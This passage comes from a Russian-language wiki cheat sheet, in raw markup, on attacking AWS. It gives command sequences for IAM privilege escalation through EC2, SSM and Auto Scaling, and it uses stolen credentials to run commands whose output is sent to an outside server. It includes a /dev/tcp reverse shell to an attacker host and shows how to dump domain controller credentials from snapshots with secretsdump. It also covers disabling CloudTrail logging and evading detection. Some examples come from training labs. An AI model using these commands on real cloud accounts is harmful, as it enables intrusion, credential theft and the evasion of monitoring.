==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
